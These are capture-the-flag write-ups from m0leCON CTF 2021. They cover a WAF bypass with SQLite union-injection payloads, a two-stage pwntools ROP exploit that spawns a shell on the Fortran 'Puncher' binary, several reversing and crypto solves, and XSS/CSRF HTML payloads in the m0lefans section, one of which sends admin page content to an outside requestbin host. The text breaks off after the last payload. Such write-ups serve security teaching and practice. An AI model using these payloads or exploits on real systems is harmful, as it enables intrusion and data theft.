m0leCON CTF 2021

Waffle (28 solves, 165 points)Puncher - (10 solves, 332 points)Proof-of-Work (264 solves, 57 points)parallel-the-m0le (11 solves, 301 points)Obscurity (10 solves, 316 points)m0lefans (32 solves, 149 points)Molang (5 solves, 406 points)Lucky-Fall (95 solves, 76 points)Yet Another Login (19 solves, 225 points)Another Login (29 solves, 160 points)Little-Alchemy (24 solves, 184 points)Left or right? (19 solves, 217 points)Donut Factory (15 solves, 263 points)Automatic Rejection Machine (19 solves, 217 points)babysign (71 solves, 88 points)Key-Lottery (116 solves, 70 points)PeTaMorphosis (25 solves, 179 points)

Waffle (28 solves, 165 points)

by 0xkasper

We needed to upgrade this app but no one here can code in Go. Easy fix: just put a custom waf in front of it.

Author: Xato

In the attachments we have 2 files: main.go and waf.py. The main.go file is the main webserver that runs the Waffle application. The waf.py is running as a WAF in front of it and forwards requests if they're not malicious.

When going to the main web application at http://waffle.challs.m0lecon.it/ we see that no data loads, only an error message that says we need a valid token. At the token page at http://waffle.challs.m0lecon.it/gettoken.html we can fill in a credit card and promo code. Filling in random stuff gives you an error message. From the code in main.go, we see that if the promo code is equal to 'FREEWAF', we can receive a token. However, the WAF also checks for this value at line and makes it return 'Coupon expired'.

The WAF is made in Python Flask and first checks whether 'gettoken' is in the path and then checks the creditcard and promo query arguments. If promo is not equal to 'FREEWAF', it will forward the request to the Go webserver. By making the parameters part of the path using encoding, we can trick it in thinking there are no arguments, but when it decodes the path and forwards, the arguments suddenly appear: http://waffle.challs.m0lecon.it/gettoken%3fcreditcard=1234%26promocode%3dFREEWAF Now we have a token: LQuKU5ViVGk4fsytWt9C, and we can make requests at the front page.

After a quick look at the Go application, it's obviously vulnerable to SQL injection. Parameters are directly inserted into queries. However, the WAF checks the parameters for type and alphanumeric characters. It does this by parsing the data to JSON and checking each of the three arguments. The JSON parser differs from the one in the Go application: if we add a parameter with the same name, the WAF will take last one, while the Go application will take the first one. If we make the last one valid and the first one a SQL injection payload, we can bypass the WAF: Sending {"name":"'","min_radius":1,"max_radius":1000,"name":"Big"} gives a database error.

We already know it returns 4 columns and we know it's SQLite from the Go code, so: {"name":"Small' UNION SELECT name,1,1,1 FROM sqlite_master WHERE type='table'--","min_radius":1,"max_radius":1000,"name":"Big"} returns all the tables: flag, sqlite_sequence and waffle. By guessing the column name flag in table flag: {"name":"Small' UNION SELECT flag,1,1,1 FROM flag--","min_radius":1,"max_radius":1000,"name":"Big"} We get the flag: ptm{n3ver_ev3r_tru5t_4_pars3r!}

Puncher - (10 solves, 332 points)

by tcode2k16

We're back in the 60s!

nc challs.m0lecon.it 2637

Author: Alberto247

The challenge provides three files: a Fortran program chall.f90, the compiled binary puncher, and the Fortran runtime library libgfortran.so.5.

Since I'm not very familiar with Fortran the programming language, I decided to just throw the binary into afl++ using qemu mode and see if it can find any crashes:

# AFL_PRELOAD=./libgfortran.so.5 ./afl-fuzz -Q -i ./input/ -o ./output/ -- ./puncher

               american fuzzy lop ++3.13a (default) [fast] {0}
┌─ process timing ────────────────────────────────────┬─ overall results ────┐
│        run time : 0 days, 0 hrs, 0 min, 57 sec      │  cycles done : 0     │
│   last new path : 0 days, 0 hrs, 0 min, 8 sec       │  total paths : 56    │
│ last uniq crash : 0 days, 0 hrs, 0 min, 2 sec       │ uniq crashes : 1     │
│  last uniq hang : none seen yet                     │   uniq hangs : 0     │
├─ cycle progress ───────────────────┬─ map coverage ─┴──────────────────────┤
│  now processing : 0.0 (0.0%)       │    map density : 0.23% / 0.33%        │
│ paths timed out : 0 (0.00%)        │ count coverage : 3.19 bits/tuple      │
├─ stage progress ───────────────────┼─ findings in depth ───────────────────┤
│  now trying : havoc                │ favored paths : 1 (1.79%)             │
│ stage execs : 8226/32.8k (25.10%)  │  new edges on : 31 (55.36%)           │
│ total execs : 10.2k                │ total crashes : 1 (1 unique)          │
│  exec speed : 153.3/sec            │  total tmouts : 2 (2 unique)          │
├─ fuzzing strategy yields ──────────┴───────────────┬─ path geometry ───────┤
│   bit flips : disabled (default, enable with -D)   │    levels : 2         │
│  byte flips : disabled (default, enable with -D)   │   pending : 56        │
│ arithmetics : disabled (default, enable with -D)   │  pend fav : 1         │
│  known ints : disabled (default, enable with -D)   │ own finds : 55        │
│  dictionary : n/a                                  │  imported : 0         │
│havoc/splice : 0/0, 0/0                             │ stability : 100.00%   │
│py/custom/rq : unused, unused, unused, unused       ├───────────────────────┘
│    trim/eff : 0.00%/1, disabled                    │          [cpu000: 62%]
└────────────────────────────────────────────────────┘

The results are better than I expected and AFL found a crash in no time. I then used afl-tmin to get a minimized test case to look at:

# AFL_PRELOAD=./libgfortran.so.5 ./afl-tmin -Q -i ./output/default/crashes/id\:000000\,sig\:11\,sr\:000000\,time\:54754\,op\:havoc\,rep\:2 -o crash-min -- ./puncher
# cat crash-min 
10100000
0

And sure enough, entering the same input leads to a crash:

──────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd258│+0x0000: 0x2020202020202020	← $rsp
0x00007fffffffd260│+0x0008: 0x2020202020202020
0x00007fffffffd268│+0x0010: 0x2020202020202020
0x00007fffffffd270│+0x0018: 0x2020202020202020
0x00007fffffffd278│+0x0020: 0x2020202020202020
0x00007fffffffd280│+0x0028: 0x2020202020202020
0x00007fffffffd288│+0x0030: 0x00007fffffff2020  →  0x0000000000000000
0x00007fffffffd290│+0x0038: 0x00000001fffffffe
────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401f89 <MAIN__+377>     add    rsp, 0x268
     0x401f90 <MAIN__+384>     pop    rbx
     0x401f91 <MAIN__+385>     pop    rbp
 →   0x401f92 <MAIN__+386>     ret    
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "puncher", stopped 0x401f92 in MAIN__ (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401f92 → MAIN__()
───────────────────────────────────────────────────────────────────────────────────────
gef➤  

The gdb output suggests that the crash is caused by some sort of stack overflow which is perfect for us to exploit.

Now going back to the Fortran source code, we can quickly spot the issue:

PROGRAM puncher
  ...
  INTEGER(2) :: A,B, C
  ...
  CALL readInt(B)
  ...
END PROGRAM

SUBROUTINE readInt(I)
  read(*,*) I
END SUBROUTINE
__int64 __fastcall readint_(__int64 a1)
{
  int v2; // [rsp+10h] [rbp-210h]
  int v3; // [rsp+14h] [rbp-20Ch]
  const char *v4; // [rsp+18h] [rbp-208h]
  int v5; // [rsp+20h] [rbp-200h]

  v4 = "chall.f90";
  v5 = 27;
  v2 = 128;
  v3 = 5;
  _gfortran_st_read((__int64)&v2);
  _gfortran_transfer_integer(&v2, a1, 4LL);
  return _gfortran_st_read_done(&v2);
}

The readint_ function is reading 4 bytes into the stack variable B which only has a size of 2 bytes. The 2 extra bytes overwrite variable A which is next to B.

PROGRAM puncher
  ...
  DO C=1,B
    ...
    CALL readString(X, A)
    ...
  END DO
END PROGRAM

SUBROUTINE readstring(S,L)
  INTEGER(2)	:: L
  CHARACTER(len=L) :: S
  read(*,"(A)") S
END SUBROUTINE

And since A is used to determine how many bytes to read into X, we can get a stack-based overflow from it.

gef➤  checksec
[+] checksec for '/home/alanc/CTF/2021/m0lecon/Puncher/puncher/puncher'
Canary                        : ✘ 
NX                            : ✓ 
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : Partial

There's no PIE enabled on the binary so we are able to craft ROP chains to get code execution. My exploit includes two stages:

  • stage one leaks the libc base address from the __libc_start_main entry in GOT by reusing the convenient print_card_ method
  • stage two call system("/bin/sh") to get shell

The full exploit code is as follows:

from pwn import *
import sys
from hashlib import sha256

argv = sys.argv

DEBUG = True
BINARY = './puncher'

context.binary = BINARY
context.terminal = ['kitty', '@', 'new-window', 'bash', '-c']


def attach_gdb():
  gdb.attach(sh)


if DEBUG:
  context.log_level = 'debug'

if len(argv) < 2:
  stdout = process.PTY
  stdin = process.PTY

  sh = process(BINARY, stdout=stdout, stdin=stdin)

  if DEBUG:
    attach_gdb()

  REMOTE = False
else:
  sh = remote('challs.m0lecon.it', 2637)
  data = sh.recvuntil('.\n')
  data = data.split(' ')
  prefix = data[6]
  goal = data[-1][:-2]
  print prefix
  print goal
  i = 0
  while True:
    v = sha256((prefix+str(i))).hexdigest()
    # print(v)
    if v[-5:] == goal:
      print(prefix+str(i))
      sh.sendline(prefix+str(i))
      break
    i += 1
  REMOTE = True

print_card_addr = 0x4016A2
main_addr = 0x401F93
libc_start_main_got = 0x0000000000404ff8

# 0x0000000000402033: pop rdi; ret; 
pop_rdi = 0x0000000000402033
# 0x0000000000402031: pop rsi; pop r15; ret; 
pop_rsi_r15 = 0x0000000000402031


# stage 1

payload = 'a'*64
payload += p16(1)*20
payload += flat(
  pop_rdi, libc_start_main_got,
  pop_rsi_r15, libc_start_main_got, libc_start_main_got,
  print_card_addr,
  main_addr
)

sh.sendlineafter('?\n', str(0xfa0001))
sh.sendlineafter('1\n', payload)

sh.recvuntil('___/\n') # ignore

data = sh.recvuntil('___/\n')
data = data.strip().split('\n')[2]

libc_base = u64(data[2:10])- 0x1fc0-0x25000
system_addr = libc_base + 0x55410
bin_sh_addr = libc_base + 0x1b75aa
print hex(libc_base)

# stage 2

payload = 'a'*64
payload += p16(1)*20
payload += flat(
  pop_rdi, bin_sh_addr,
  system_addr
)

sh.sendlineafter('?\n', str(0xfa0001))
sh.sendlineafter('1\n', payload)

sh.interactive()

flag: ptm{R3t_t0_l1b_gf0rtr4n_1s_much_b3tter_th4n_ret_2_l1bc!}

Proof-of-Work (264 solves, 57 points)

by JaGoTu

In this challenge you simply need to solve a proof-of-work. The proof-of-work will be the same for most of the challenges, so we provide you with a template in Python to solve it. Simply run it to get this flag.

This solver is not the fastest possible, so you can write your own, but you won't receive any support on it.

You can solve the challenge manually at:
nc challs.m0lecon.it 1337

Happy Hacking!

We get a pow_template.py file. We run it.

$ python3 pow_template.py
[+] Opening connection to challs.m0lecon.it on port 1337: Done
Solving PoW...
Solved!
[*] Switching to interactive mode
ptm{w3lc0me_t0_m0lecon_2021_t34ser_ctf_chall3ng3_++++}
[*] Got EOF while reading in interactive

parallel-the-m0le (11 solves, 301 points)

by JaGoTu

I was playing with some parallel programming but I'm so bad with it that I lost the flag, can you help me recover it?

Output: 2aad2e5a49fb2d9adb908dd00eb48c8a6607ab619f75b0272f3c1eb33fe9edaf

Author: spicyNduja

We get a chall file:

$ file chall
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=09a5be5a3d5bf899a01af46d34e656d751051e98, for GNU/Linux 3.2.0, not stripped

Let's start reversing with main():

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int i; // [rsp+14h] [rbp-1Ch]
  int j; // [rsp+14h] [rbp-1Ch]
  int k; // [rsp+14h] [rbp-1Ch]
  int l; // [rsp+14h] [rbp-1Ch]
  int m; // [rsp+14h] [rbp-1Ch]
  pthread_t *pthreads; // [rsp+18h] [rbp-18h]
  threadstruct *threads; // [rsp+20h] [rbp-10h]

  if ( argc != 2 )
  {
    puts("Plz give me something :(");
    exit(1);
  }
  if ( strlen(argv[1]) != 16 )
  {
    puts("I don't like the size of this input :(");
    exit(2);
  }
  strcpy(flagbuff, argv[1]);
  mutex = (pthread_mutex_t *)malloc(0x28uLL);
  cv = (pthread_cond_t *)malloc(0x30uLL);
  if ( pthread_mutex_init(mutex, 0LL) || pthread_cond_init(cv, 0LL) )
  {
    puts("something wrong happened");
    exit(3);
  }
  pthreads = (pthread_t *)malloc(0x70uLL);
  threads = (threadstruct *)malloc(0xE0uLL);
  printf(
    "%s\n\n",
    "\n"
    "\n"
    "\n"
    "  _____                _ _      _ _______ _          __  __  ___  _       \n"
    " |  __ \\              | | |    | |__   __| |        |  \\/  |/ _ \\| |      \n"
    " | |__) |_ _ _ __ __ _| | | ___| |  | |  | |__   ___| \\  / | | | | | ___  \n"
    " |  ___/ _` | '__/ _` | | |/ _ \\ |  | |  | '_ \\ / _ \\ |\\/| | | | | |/ _ \\ \n"
    " | |  | (_| | | | (_| | | |  __/ |  | |  | | | |  __/ |  | | |_| | |  __/ \n"
    " |_|   \\__,_|_|  \\__,_|_|_|\\___|_|  |_|  |_| |_|\\___|_|  |_|\\___/|_|\\___| \n"
    "                                                                          \n"
    "                                                                          \n");
  printf("doing some quantistic machine learning crypto");
  for ( i = 0; i <= 4; ++i )
  {
    sleep(1u);
    fflush(stdout);
    putchar(46);
  }
  puts("\n\n");
  v3 = time(0LL);
  srand(v3);
  for ( j = 0; j <= 13; ++j )
  {
    threads[j].threadindex = j;
    threads[j].pthread = pthreads[j];
    pthread_create(&pthreads[j], 0LL, (void *(*)(void *))wrapper, &threads[j]);
  }
  for ( k = 0; k <= 13; ++k )
    pthread_join(pthreads[k], 0LL);
  print_str((__int64)flagbuff, 16LL, 0);
  ord_ind = 0;
  strcpy(flagbuff, argv[1]);
  for ( l = 0; l <= 13; ++l )
  {
    threads[l].threadindex = l;
    threads[l].pthread = pthreads[l];
    pthread_create(&pthreads[l], 0LL, (void *(*)(void *))wrapper2, &threads[l]);
  }
  for ( m = 0; m <= 13; ++m )
    pthread_join(pthreads[m], 0LL);
  pthread_mutex_destroy(mutex);
  pthread_cond_destroy(cv);
  print_str((__int64)flagbuff, 16LL, 1);
  putchar(10);
  return 0;
}

So, first the flag is checked for being exactly 16 bytes long. After rand is seeded, 14 threads are created running wrapper, creating the first 16 bytes of output. Afther that, the flagbuff is restored to the input, and another 14 threads are created running wrapper2, creating the last 16 bytes of output.

Let's look at those wrapper functions:

void __fastcall __noreturn wrapper(threadstruct *a1)
{
  int v1; // eax
  int v2; // eax

  v1 = rand();
  usleep(v1 % 1000);
  pthread_mutex_lock(mutex);
  v2 = ord_ind;
  if ( ord_ind > 6 )
  {
    ++ord_ind;
    order[20 - v2] = a1->threadindex;
  }
  else
  {
    ++ord_ind;
    order[v2] = a1->threadindex;
  }
  ((void (__fastcall *)(char *, unsigned __int64))funcs[a1->threadindex])(flagbuff, 16uLL);
  pthread_mutex_unlock(mutex);
  pthread_exit(0LL);
}

void __fastcall __noreturn wrapper2(threadstruct *a1)
{
  pthread_mutex_lock(mutex);
  while ( order[ord_ind] != a1->threadindex )
    pthread_cond_wait(cv, mutex);
  ((void (__fastcall *)(char *, unsigned __int64))funcs[a1->threadindex])(flagbuff, 0x10uLL);
  ++ord_ind;
  pthread_cond_broadcast(cv);
  pthread_mutex_unlock(mutex);
  pthread_exit(0LL);
}

In the first run, the threads will wake up in a random order (thanks to usleep(v1 % 1000)), write themselves into the order array and call their respective function on the flagbuff. In the second run, the threads are run in the order of the order array, also calling their function on flagbuff.

What this causes is that we get two outputs generated by two different function chains:

wrapper:  A->B->C->D->E->F->G -> H->I->J->K->L->M->N
wrapper2: A->B->C->D->E->F->G -> N->M->L->K->J->I->H

To be able to get the plaintext from the provided output, we need to reverse engineer and invert all the funcs. As they are mostly small loops, I won't describe the process here, you can check the inverses in the resulting python script.

Now, trying all 14! = 87178291200 possible chains on the output we got doesn't sound too practical. However, we can notice that the first half of the chain is identical. That means that using a chain of N'->M'->L'->K'->J'->I'->H' on the first output and H'->I'->J'->K'->L'->M'->N' on the second output (the tick denoting transformation inverse), we should get the same result - a kind of a meet-in-the-middle attack. Bruteforcing all permutations of 7 out of 14 = 17297280 different options sounds way more doable. To make the bruteforce parallel, I took the first element of the chain as an argument, effectively spreading the workload to 14 cores.

revs = [rev_1, rev_2, rev_3, rev_4, rev_5, rev_6, rev_7, rev_8, rev_9, rev_10, rev_11, rev_12, rev_13, rev_14]

target = binascii.unhexlify("2aad2e5a49fb2d9adb908dd00eb48c8a6607ab619f75b0272f3c1eb33fe9edaf")
target1 = target[:16]
target2 = target[16:]

def run_on(text, order):
    buf = list(text)
    for step in order:
        revs[step](buf)
        #print(hexdump(bytes(buf)))
    return bytes(buf)

iter=0
possibles = list(range(14))
start = int(sys.argv[1])
possibles.remove(start)

for i in itertools.permutations(possibles, 6):
    perm = (start, ) + i
    iter +=1
    if(iter % 100000 == 0):
        print(iter)

    middle1 = run_on(target1, perm)
    middle2 = run_on(target2, perm[::-1])
    if(middle1 == middle2):
        print(middle1)
        print(i)
$ for i in {0..13}; do python3 paramoly.py $i | tee -a out_$i & done
[...]
$ cat out*  | grep '^(' -B 1
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(8, 13, 3, 9, 11, 6)
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(8, 13, 9, 3, 11, 6)
--
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(7, 13, 3, 9, 11, 6)
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(7, 13, 9, 3, 11, 6)
--
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(13, 1, 7, 9, 11, 6)
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(13, 1, 9, 7, 11, 6)
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(13, 3, 1, 9, 11, 6)
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(13, 3, 9, 1, 11, 6)
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(13, 7, 3, 9, 11, 6)
--
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(13, 7, 9, 3, 11, 6)
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(13, 9, 1, 7, 11, 6)
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(13, 9, 3, 1, 11, 6)
b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'
(13, 9, 7, 3, 11, 6)

Unfortunately the second half of the chain is not definite, having multiple possibilities, but the value of the flag in the middle of processing has only one possible value. We could run the same bruteforce for the first half of the chain, but I made it a bit lighter by observing that the functions 6, 9, 11 and 13 were definitely used in the second half of the chain and can't be used in the first, resulting in just 604800 options, which can easily run single threaded. Here is the full final script:

import binascii
import itertools
import sys


def rev_13(buff):
    for i in range(16):
        buff[i] = (buff[i]-i) & 0xFF

def rev_14(buff):
    for i in range(16):
        if buff[i] > 0x40 and buff[i] <= 0x5a:
            buff[i] += 0x20
        elif buff[i] > 0x60 and buff[i] <= 0x7a:
            buff[i] -= 0x20

def rev_12(buff):
    for i in range(16):
        buff[i] = (i ^ (~buff[i])) & 0xFF

def rev_11(buff):
    for i in range(16):
        bits = "{0:08b}".format(buff[i])
        orig = bits[0]+bits[4]+bits[1]+bits[5]+bits[2]+bits[6]+bits[3]+bits[7]
        buff[i] = int(orig, 2)


def rev_10(buff):
    for i in range(16):
        buff[i] = ((16*buff[i]) | (buff[i]>>4)) & 0xFF

def rev_9(buff):
    for i in range(16):
        buff[i] = (buff[i]-42) & 0xFF

def rev_8(buff):
    for i in range(8):
        (buff[i], buff[15-i]) = (buff[15-i], buff[i])

def rev_7(buff):
    for i in range(16):
        bits = "{0:08b}".format(buff[i])
        orig = bits[::-1]
        buff[i] = int(orig, 2)
 
def rev_6(buff):
    for i in range(16):
        buff[i] = (~buff[i]) & 0xFF

xorkey = "{reverse_fake_flag}ptm".encode()
def rev_5(buff):
    for i in range(16):
        buff[i] = (buff[i] ^ xorkey[i]) & 0xFF

def rev_4(buff):
    for i in range(8):
        buff[15-i] = (buff[i] ^ buff[15-i]) & 0xFF

rol = lambda val, r_bits, max_bits: \
    (val << r_bits%max_bits) & (2**max_bits-1) | \
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

ror = lambda val, r_bits, max_bits: \
    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

def rev_3(buff):
    for i in range(16):
        buff[i] = (ror(buff[i], i%8, 8))

def rev_2(buff):
    for i in range(8):
        buff[i] = (buff[i] ^ buff[15-i]) & 0xFF

def rev_1(buff):
    for i in range(0, 16, 4):
        tmp = buff[i:i+4]
        buff[i] = tmp[3]
        buff[i+1] = tmp[0]
        buff[i+2] = tmp[2]
        buff[i+3] = tmp[1]
    

revs = [rev_1, rev_2, rev_3, rev_4, rev_5, rev_6, rev_7, rev_8, rev_9, rev_10, rev_11, rev_12, rev_13, rev_14]

target = binascii.unhexlify("2aad2e5a49fb2d9adb908dd00eb48c8a6607ab619f75b0272f3c1eb33fe9edaf")
target1 = target[:16]
target2 = target[16:]

def run_on(text, order):
    buf = list(text)
    for step in order:
        revs[step](buf)
        #print(hexdump(bytes(buf)))
    return bytes(buf)
    
iter=0
possibles = list(range(14))
possibles.remove(11)
possibles.remove(6)
possibles.remove(9)
possibles.remove(13)


middle = b'\x9f[\xaaM\x89s\xb9\xc7\x97E;\xf6}X\xb7o'

for i in itertools.permutations(possibles, 7):
    perm = i
    iter +=1
    if(iter % 10000 == 0):
        print(iter)
    
    result = run_on(middle, perm)
    if b'ptm{' in result:
        print(result)
$ python3 paramoly.py
10000
20000
30000
40000
50000
60000
70000
80000
90000
100000
110000
120000
130000
140000
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut3_f0rc3}'
b'ptm{brut3_f0rc3}'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut3_f0rc3}'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut3_f0rc3}'
b'ptm{brut3_f0rc3}'
b'ptm{brut3_f0rc3}'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut3_f0rc3}'
b'ptm{brut\xb8\xd5\xeb\xad\xf6\xf1\xb8\xf2'
b'ptm{brut3_f0rc3}'
150000
160000
170000
180000
190000
[...]

ptm{brut3_f0rc3} is the flag!

Obscurity (10 solves, 316 points)

by y011d4

Security through obscurity. Seems good, right?

nc challs.m0lecon.it 2561

Author: mr96

In this challenge, random bits are generated using multiple LFSRs, with unknown taps and lengths. FLAG is xored by those bits. Other than Obsucurity-fixed, we can send prefixes within 1000 characters many times.

As the other challenge's name implies that this challenge includes bugs, the check for periodic sometimes works in an unintended way.

    kk = key.hex()
    if kk.count(kk[-6:]) == 1:
        periodic = False

This check works only when the period of LFSRs rands are multiple of 8. So all we have to do is collect the data which meat the following condition:

  • with long prefix (\x00 * 1000 for brevity)
  • with the long period, which is not multiple of 8

I ran this script a few times.

import re
from binascii import unhexlify
from hashlib import sha256
from itertools import product

from pwn import *

_r = remote("challs.m0lecon.it", 2561)
ret = _r.recvline().strip().decode()
prefix, suffix = re.findall(
    r"Give me a string starting with (.+) such that its sha256sum ends in (.+).", ret
)[0]

for i_list in product(list(range(32, 128)), repeat=4):
    c_list = list(map(chr, i_list))
    tmp = prefix + "".join(c_list)
    tmp_hash = sha256(tmp.encode()).hexdigest()
    if tmp_hash[-len(suffix):] == suffix:
        print("found!")
        _r.sendline(tmp)
        break
_ = _r.recvline()
_r.sendline(b"00" * 1000)
print(_r.recvline().strip())

I got the result which meats the condition as mentioned above and decoded it.

res = "0035fc5465ac4967e515bf395e091a1ea15e8fb41c1c377fe7e9d6f51bed0ca7d3a82aa4ebadc1b141441bd1b7e24fcb92c2f78247b65acbbf12d48ef2c7562970b0c9d2674daed6544162e0cb7e5df28b7b7692883f8c1de6cb38e844045263b2a40e33e17b041ca41aad59b1281d122d5f4fb7ac09757534f8285de14f0883d4824a9fa7d0abee010b0dcfefd2e98b2523708ef9730b65a2e4e0a2515702f3bd985b81c54355f2f5ed9584e325073c84e0d44a4422543408d52fac06b096cb34af9e4ca6d6aea6c697ed27302be85690313256709b6154c8780c9a0f054cd60c628766cf4fd38da6997b11d50c2a2f7b65b024e5405b34dff8334ba442b04237edaa0208c9fa27a654dc1135bf34c0a44900bfed2aff53e791547ef1e35501784a4783388b15db122ee50a111243fa03afbd80adea7f32c52c9809b139cd0d05daded4372a489d8c46d9d5d25a1b16848cd033c381aebf9bd2d2976db63a0a26796e92eef9ad8a08a49f1e973e0cd30dc91e0044684a806b0169c9e8a37b1dfd730cb12b1ea71f9b04fed2f5fc653fb26834b09782b6e94d24c6efcb1f78d1a64689cda4aa73665f728faa715a0001f55e138b0076f35cdfeddabe63112f46125e9bfdad270468bd734dabffc4a0e5585dfe6aba3e1b279a5e8350e2e97fc7a52630520372c1ec88c9b6619bfa567b4a08175a795024ec6cfe2ae615410f93bce2208c74a96beda562a9a39cce7826c4cb36260dd823536da3acbe97a593a685e5a741ec758403f23d7456359f73bfb805daeb889696dfa3cafb16ef5f77a66cd0e4f95877be1ba88f8fc6605621d548226f9128c90d1099efd77abf32691f66fe9c1e7342e406b9158a3d59264adf44c345e0f6e898ea8c2856e36b3c9269e13f973991f34cb9f7ff38f21378512dbdd974273dfb6dd948192083dacbdc058d275fcfad8675baec3e85b7ed62defbb8e1d9018892f0bd706d6f96ca6272d7940c886b93959da0c33225883ad9f9c76fec5adceff3bed7fa193a01aa42b2ef7fda94bbc902f6403d3a2a23902c5ba5ec83bdaa588fe5f46094c33ebd6ff7f88dec740aee501189df1893f6e80acf20d1baac232f40c79722faab62a33f87a4785947a6dc1836c04220a5fd48dac0d7f15196b1259f9456fce57824687a857a3ed07070ddff9fa75bd46fb4329f4ea0aa93aeb706c505106f46df893f2e4b0bde091ed96b2efc4b523bcb1d58a5c2c327499d36bb5951058b832df977ca2dedda4a20fe30779b2ce3a11011498eca9038cf85ec1072906ab566c4a07448b57d3edeb025d5d4d3e0a177853c220f52092a7e9f42afb8042c373fbf4ba62c948dc23be5cc2d968b938289455c0bcef6616e07150d57cbd7b656138c941cf213835129108950d02354cec477b92b40e18a4c01c42889eb2a2d83c3b99fd4281fb1a768ac5ab63d45d356370b256c185cf824ad40"
assert len(res) == 2086
res_bits = f"{int(res, 16):08344b}"

# It's checked manually
assert res_bits[6530:6630] == res_bits[20:120]

ans = []
for a, b in zip(map(int, res_bits[6530:]), map(int, res_bits[20:2020])):
    ans.append(a ^ b)
ans = ans[-43 * 8 :]
print(bytes.fromhex(hex(int("".join(map(str, ans)), 2))[2:]))

ptm{pl3453_r3p0r7_y0ur_un1n73nd3d_70_@mr96}

m0lefans (32 solves, 149 points)

by 0xkasper

I was concerned my friends would find my private page, so I created my own clone where you can only follow people who give you their profile's link!

Go, post photos of your private ventilator without fear!

Authors: Alberto247, Xato

This challenge consists of an OnlyFans clone called m0lefans. When registering for an account, we see that we have a random UID as subdomain, which is also our private page. In settings we can change this UID, user information, avatar, as well as our page's visibility (public or private). We can post images with a text and it'll show up on our profile. There is a feed page with all public profile's posts and a search function.

However, the most important function is the 'Report a post to the admin' button on the bottom. This form allows you to submit a URL. After submitting my Requestbin, I indeed get a hit and it confirms (blind) SSRF. Afterwards I upload a simple HTML page to my website and make Javascript redirect to my Requestbin. I again get a hit, confirming that the page is rendered and Javascript is executed.

On the site, only the settings form has CSRF protection. The follow, unfollow, like, etc. functionalities don't. Most even use GET instead of POST. By submitting https://3ae54fb5-5881-47a5-97bd-df3c86f6e54f.m0lecon.fans/profile/follow (where 3ae54fb5-5881-47a5-97bd-df3c86f6e54f is my UID) as URL report, I get the admin to request a follow. This only gives you the username of the admin, not yet their subdomain.

From the description, we can gather that the goal is to find the admin's subdomain. However, in order to retrieve information from the blind SSRF with JS, we need to find an XSS. Luckily there is one: the image upload functionality (for post and avatar) only checks the byte signature of the file, so we can upload HTML files.

If we upload the following XSS payload as avatar:

GIF89a
<html>
    <body>
        <form method="POST" action="https://requestbin.net/r/fhi4tmg0">
            <input id="html" type="text" name="html">
        </form>
        <script>
            var xhr = new XMLHttpRequest();
            xhr.onload = function() {
                let id = this.responseText;
                document.getElementById("html").value = id;
                document.forms[0].submit();
            }
            xhr.open("GET", "https://m0lecon.fans/feed/new");
            xhr.send();
        </script>
    </body>
</html>

This will put the payload at https://m0lecon.fans/static/media/avatars/3ae54fb5-5881-47a5-97bd-df3c86f6e54f.html. This payload is at the main domain, while the authentication cookie is scoped to a subdomain, so we can't retrieve the admin's credentials. However, we can make a request to a page on the main domain, such as /feed/new and from there grab the admin's subdomain from the returned HTML. The HTML is sent to the Requestbin and we can see the admin's subdomain there: https://y0urmuchb3l0v3d4dm1n.m0lecon.fans/profile/

When viewing this page in the browser, we can request to follow it, but the admin still has to accept the follow. But thanks to no CSRF protection and the blind SSRF, we can make the admin accept us. Accepting a follow request is simply done through a POST request to /profile/request, with an id parameter containing a user ID. Your user ID can be figured out by creating a second account, requesting a follow and viewing the request when accepting it.

Then we can upload this as avatar:

GIF89a
<html>
    <body>
        <form method="POST" action="https://y0urmuchb3l0v3d4dm1n.m0lecon.fans/profile/request">
            <input type="text" name="id" value="47">
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

And report the avatar URL again, so the admin will view it and consequently accept our follow request due to the CSRF.

